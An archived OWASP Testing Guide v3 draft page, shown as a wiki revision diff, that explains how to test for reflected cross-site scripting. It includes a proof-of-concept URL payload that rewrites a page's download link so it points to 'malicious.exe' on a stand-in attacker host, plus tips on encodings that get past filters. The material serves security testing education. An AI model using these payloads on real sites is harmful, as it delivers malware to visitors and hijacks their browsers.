This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Testing for Reflected Cross site scripting (OTG-INPVAL-001)"
Line 41: | Line 41: | ||
For example, consider a site that has a welcome notice " Welcome %username% " and a download link. | For example, consider a site that has a welcome notice " Welcome %username% " and a download link. | ||
− | + | <br><br> | |
[[Image:XSS Example1.png]] | [[Image:XSS Example1.png]] | ||
− | + | <br><br> | |
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. | The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. | ||
Let's try to click on the following link and see what happens: | Let's try to click on the following link and see what happens: | ||
Line 49: | Line 49: | ||
If no sanitization is applied this will result in the following popup: | If no sanitization is applied this will result in the following popup: | ||
− | + | <br><br> | |
[[Image:alert.png]] | [[Image:alert.png]] | ||
− | + | <br><br> | |
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link): | This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link): | ||
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); | <pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); | ||
Line 57: | Line 57: | ||
This produces the following behavior: | This produces the following behavior: | ||
− | + | <br><br> | |
[[Image:XSS Example2.png]] | [[Image:XSS Example2.png]] | ||
− | + | <br><br> | |
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls. | This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls. | ||
Revision as of 17:19, 29 July 2008
OWASP Testing Guide v3 Table of Contents
This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.
OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here
This is a draft of a section of the new Testing Guide v3
Brief Summary
Reflected cross-site scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.
Description of the Issue
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and are the most frequent type of XSS attacks found nowadays.
When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which he convinces her victims to load this URI on their browsers, and the eventual execution of the offending code -using the victim's credentials-.
Commonly the attacker's code is in the Javascript language, but also other scripting languajes like ActionScript, and VBScript.
Attackers typically profit from these vulnerabilities in order to install key loggers, steal victim cookies, clipboard theft, and change the content of the page (e.g., download links).
One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3 which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
Black Box testing and example
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script>
If no sanitization is applied this will result in the following popup:
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
This produces the following behavior:
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
...
Gray Box testing and example
Testing for Topic X vulnerabilities:
...
Result Expected:
...
References
Whitepapers
...
Tools
...